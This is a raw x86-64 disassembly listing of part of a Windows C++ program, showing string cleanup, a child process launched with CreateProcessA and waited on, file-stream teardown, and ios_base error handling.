movups xmmword [rbp + 0x218], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14001ce8a
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3a6
call fcn.14001edc0
lea rdx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0xf
cmova rdx, qword [rbp + 0x208]
mov dword [rbp + 0x3f0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
movups xmmword [rbp + 0x408], xmm0
movups xmmword [rbp + 0x418], xmm0
movups xmmword [rbp + 0x428], xmm0
movups xmmword [rbp + 0x438], xmm0
movups xmmword [rbp + 0x448], xmm0
mov dword [rbp + 0x42c], 1
mov word [rbp + 0x430], di
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3f0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14001cf45
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x220]
cmp rdx, 0xf
jbe 0x14001cf86
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cf81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3ac
call fcn.14001edc0
movdqa xmm0, xmmword [0x14005ce90]
movdqu xmmword [rbp + 0x218], xmm0
mov byte [rbp + 0x208], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14001cfdf
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cfd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3b2
call fcn.14001edc0
nop
cmp r13, 0xf
jbe 0x14001d017
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14001d00e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3b8
mov rcx, rsi
call fcn.14001edc0
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14001d058
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d053
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3be
call fcn.14001edc0
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x14001d0b3
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d0ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3c4
call fcn.14001edc0
nop
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x29c], edx
lea rcx, [rbp + 0x2a8]
call fcn.14001a970
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x29c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x348], rbx
lea rcx, [rbp + 0x348]
call fcn.14001e344
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.14001a970
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x64], edx
mov qword [rbp + 0x50], rbx
lea rcx, [rbp + 0x50]
call fcn.14001e344
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14001d1dc
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d1d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3ca
call fcn.14001edc0
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x14001d236
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d231
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3d0
call fcn.14001edc0
movdqa xmm0, xmmword [0x14005ce90]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x240]
cmp rdx, 0xf
jbe 0x14001d28e
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d289
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3d6
call fcn.14001edc0
xor eax, eax
jmp 0x14001c707
call fcn.1400268ac
nop
mov edx, 1
lea rcx, [rbp + 0x110]
call fcn.140001530
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x278]
call fcn.140001d20
lea rdx, [0x140064b88]
lea rcx, [rbp + 0x278]
call fcn.140020d5c
nop
call fcn.140001350
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
test dl, 4
je 0x14001d2f6
lea rbx, str.ios_base::badbit_set
jmp 0x14001d30b
test sil, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x110]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x278]
call fcn.140001d20
lea rdx, [0x140064b88]
lea rcx, [rbp + 0x278]
call fcn.140020d5c
nop
call fcn.1400268ac
int3
test al, 4
je 0x14001d355
lea rbx, str.ios_base::badbit_set
jmp 0x14001d369
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x110]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x250]
call fcn.140001d20
lea rdx, [0x140064b88]
lea rcx, [rbp + 0x250]
call fcn.140020d5c
nop
call fcn.1400013f0
int3
call fcn.1400268ac
int3
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
nop
call fcn.1400268ac
int3